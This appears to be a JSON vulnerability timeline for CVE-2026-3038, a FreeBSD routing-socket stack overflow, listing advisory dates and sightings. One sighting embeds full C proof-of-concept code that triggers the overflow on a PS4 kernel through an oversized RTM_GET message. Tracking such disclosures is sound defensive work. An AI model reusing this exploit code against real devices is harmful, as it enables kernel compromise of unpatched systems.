{"metadata": {"vulnerability": "CVE-2026-3038", "count": 33, "kinds": {"milestone": 5, "sighting": 12, "kev": 0, "other": 16}}, "data": [{"timestamp": "2026-02-23T16:26:02.807Z", "date_only": false, "value": "2026-02-23T16:26:02.807Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-3038", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-02-24T17:00:00Z", "date_only": false, "value": "2026-02-24T17:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.datePublic"}, {"timestamp": "2026-02-24T23:00:00Z", "date_only": false, "value": "2026-02-24T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2026-02-24T23:00:00Z", "date_only": false, "value": "2026-02-24T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.initial_release_date"}, {"timestamp": "2026-02-24T23:00:00Z", "date_only": false, "value": "2026-02-24T23:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2026-02-25T02:05:50.977Z", "date_only": false, "value": "2026-02-25T02:05:50.977967Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mfnlspunna2z", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "e6695a5d-4cde-443c-9b29-cec200106f48", "url": "https://bsky.app/profile/undercode.bsky.social/post/3mfnlspunna2z"}, {"timestamp": "2026-02-27T16:51:02Z", "date_only": false, "value": "2026-02-27T16:51:02.000000Z", "kind": "sighting", "label": "Seen", "source": "https://cyber.gc.ca/en/alerts-advisories/freebsd-security-advisory-av26-179", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "07f68a84-3090-4d30-b7e8-4a37ef806c18", "url": "https://cyber.gc.ca/en/alerts-advisories/freebsd-security-advisory-av26-179"}, {"timestamp": "2026-03-09T12:25:39.671Z", "date_only": false, "value": "2026-03-09T12:25:39.671Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-3038", "field": "cveMetadata.datePublished"}, {"timestamp": "2026-03-09T12:25:39.671Z", "date_only": false, "value": "2026-03-09T12:25:39.671Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / freebsd", "record": "CVE-2026-3038", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-03-09T13:15:57Z", "date_only": false, "value": "2026-03-09T13:15:57Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-JJXV-P5QR-W2HV", "record": "GHSA-JJXV-P5QR-W2HV", "field": "database_specific.nvd_published_at"}, {"timestamp": "2026-03-09T13:15:57.227Z", "date_only": false, "value": "2026-03-09T13:15:57.227", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-3038", "record": "FKIE_CVE-2026-3038", "field": "published"}, {"timestamp": "2026-03-09T14:37:36.861Z", "date_only": false, "value": "2026-03-09T14:37:36.861480Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/vuldb/statuses/116199722606591681", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "a62dc2be-9f26-43a6-8fb6-e68a51fc69c9", "url": "https://infosec.exchange/users/vuldb/statuses/116199722606591681"}, {"timestamp": "2026-03-09T15:30:47Z", "date_only": false, "value": "2026-03-09T15:30:47Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-JJXV-P5QR-W2HV", "record": "GHSA-JJXV-P5QR-W2HV", "field": "published"}, {"timestamp": "2026-03-09T16:03:08.637Z", "date_only": false, "value": "2026-03-09T16:03:08.637542Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-3038", "field": "containers.adp.0.metrics.1.other.content.timestamp"}, {"timestamp": "2026-03-09T16:03:08.637Z", "date_only": false, "value": "2026-03-09T16:03:08.637542Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-3038", "record": "FKIE_CVE-2026-3038", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-03-09T16:03:25.820Z", "date_only": false, "value": "2026-03-09T16:03:25.820Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-3038", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-03-09T16:03:25.820Z", "date_only": false, "value": "2026-03-09T16:03:25.820Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-3038", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-03-09T18:31:43Z", "date_only": false, "value": "2026-03-09T18:31:43Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-JJXV-P5QR-W2HV", "record": "GHSA-JJXV-P5QR-W2HV", "field": "modified"}, {"timestamp": "2026-03-09T23:00:00Z", "date_only": false, "value": "2026-03-09T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-03-09T23:00:00Z", "date_only": false, "value": "2026-03-09T23:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-03-10T09:16:49.929Z", "date_only": false, "value": "2026-03-10T09:16:49.929+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2026-0506", "record": "WID-SEC-W-2026-0506", "field": "document.tracking.generator.date"}, {"timestamp": "2026-03-17T00:00:00Z", "date_only": true, "value": "2026-03-17", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2026-40796", "record": "CNVD-2026-40796", "field": "submitTime"}, {"timestamp": "2026-06-17T10:42:55.180Z", "date_only": false, "value": "2026-06-17T10:42:55.180", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-3038", "record": "FKIE_CVE-2026-3038", "field": "lastModified"}, {"timestamp": "2026-06-17T19:35:29.056Z", "date_only": false, "value": "2026-06-17T19:35:29.056625Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/praetorianlabs.bsky.social/post/3moj2opxcc624", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "8957cf91-3736-403d-aa8c-d062294fcb0a", "content": "Researcher Adam Crosser pointed Claude Code at the FreeBSD kernel and found eight zero-days in days, including CVE-2026-3038, an RTSock stack overflow patched a day after we reported it.\n\nbuff.ly/Fw4qcxc\n\n#offensivesecurity #freebsd #infosec #praetorian", "url": "https://bsky.app/profile/praetorianlabs.bsky.social/post/3moj2opxcc624"}, {"timestamp": "2026-08-07T23:56:59.171Z", "date_only": false, "value": "2026-08-07T23:56:59.171832Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/hasyimy-ctrl/a79460845e7268785c8129e18b00655a", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "7905b174-7ad9-46e3-a407-649fe10a8493", "content": "/*\nCVE-2026-3038 vulnerability \nAffected file: W:\\\\Build\\\\J02697906\\\\sys\\\\freebsd\\\\sys\\\\net\\\\rtsock.c in PS4 13.52 kernel file\nTrigger stack overflow in rtsock_msg_buffer() via PF_ROUTE, SOCK_RAW.\nUses syscall 'sys_socketex' that callable on libkernel.sprx, libkernel_web.sprx and libkernel_sys.sprx\n*/\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PF_ROUTE        32\n#define SOCK_RAW        3\n#define SYSCALL_SOCKETEX 0x21B\n#define RTM_GET         8\n#define RTA_DST         0x1\n#define RTM_VERSION     5\n#define SA_MAX          255\n\nstatic int sys_socketex(int domain, int type, int protocol, const char *name)\n{\n    return syscall(SYSCALL_SOCKETEX, domain, type, protocol, name);\n}\n\nint main(void)\n{\n    int fd;\n    struct {\n        struct rt_msghdr hdr;\n        struct sockaddr sa;\n        unsigned char pad[SA_MAX - sizeof(struct sockaddr)];\n    } msg;\n    struct iovec iov;\n    struct msghdr msghdr;\n\n    // Open raw routing socket via sys_socketex\n    fd = sys_socketex(PF_ROUTE, SOCK_RAW, 0, NULL);\n    if (fd < 0)\n        return 1;\n\n    // Build malformed RTM_GET with oversize sockaddr (sa_len = 255)\n    memset(&msg, 0, sizeof(msg));\n    msg.hdr.rtm_msglen = sizeof(msg);\n    msg.hdr.rtm_version = RTM_VERSION;\n    msg.hdr.rtm_type = RTM_GET;\n    msg.hdr.rtm_addrs = RTA_DST;\n    msg.sa.sa_family = AF_INET;\n    msg.sa.sa_len = SA_MAX;          // 255 -> overflow\n    memset(msg.pad, 0x41, sizeof(msg.pad));\n\n    // Send the message\n    iov.iov_base = &msg;\n    iov.iov_len = sizeof(msg);\n    memset(&msghdr, 0, sizeof(msghdr));\n    msghdr.msg_iov = &iov;\n    msghdr.msg_iovlen = 1;\n\n    sendmsg(fd, &msghdr, 0);\n    close(fd);\n    return 0;\n}", "url": "https://gist.github.com/hasyimy-ctrl/a79460845e7268785c8129e18b00655a"}, {"timestamp": "2026-09-21T21:00:04.568Z", "date_only": false, "value": "2026-09-21T21:00:04.568363Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/MuCAS5xoUJtmKmmR0jz51uV49huqB1bj3gk3uThSjewpDTM", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "0f360e40-e312-481e-8737-86bcc6e75861"}, {"timestamp": "2026-09-22T12:00:04.803Z", "date_only": false, "value": "2026-09-22T12:00:04.803965Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Be2fUrQx0unyh9hBofzu0HICbhA-_ZO4iyRjWVgV9_-89ik", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "6526e82c-fc3d-4044-a13f-eb58eb326e1f"}, {"timestamp": "2026-09-23T00:00:10.335Z", "date_only": false, "value": "2026-09-23T00:00:10.335140Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Be2fUrQx0unyh9hBofzu0HICbhA-_ZO4iyRjWVgV9_-89ik", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "e4dc8743-bc63-441e-b736-0ce6f962c5e1"}, {"timestamp": "2026-09-25T09:19:59Z", "date_only": false, "value": "2026-09-25T09:19:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/6wygCC6sV0oliJPR02WqyYxQ4A33OBVvpIXaQz8w-b5drkw", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "3a11f70b-3479-44c3-aa28-7b993742251d"}, {"timestamp": "2026-09-25T09:19:59Z", "date_only": false, "value": "2026-09-25T09:19:59.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/6wygCC6sV0oliJPR02WqyYxQ4A33OBVvpIXaQz8w-b5drkw", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "329bd175-8820-4daa-84ca-3a7ed9fcbea8"}, {"timestamp": "2026-09-25T09:21:28Z", "date_only": false, "value": "2026-09-25T09:21:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/JJI78CT9UdwjIduziXV6RHriDBt6SF0_5UF5oXdJIn0zLhU", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "376e4e08-3e4f-4c01-a5a6-925ce9f13f81"}, {"timestamp": "2026-09-25T09:21:28Z", "date_only": false, "value": "2026-09-25T09:21:28.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/JJI78CT9UdwjIduziXV6RHriDBt6SF0_5UF5oXdJIn0zLhU", "record": "CVE-2026-3038", "field": "creation_timestamp", "uuid": "1d6932d6-11b8-4393-91fa-a6552647c124"}, {"timestamp": "2026-10-16T00:00:00Z", "date_only": true, "value": "2026-10-16", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2026-40796", "record": "CNVD-2026-40796", "field": "openTime"}]}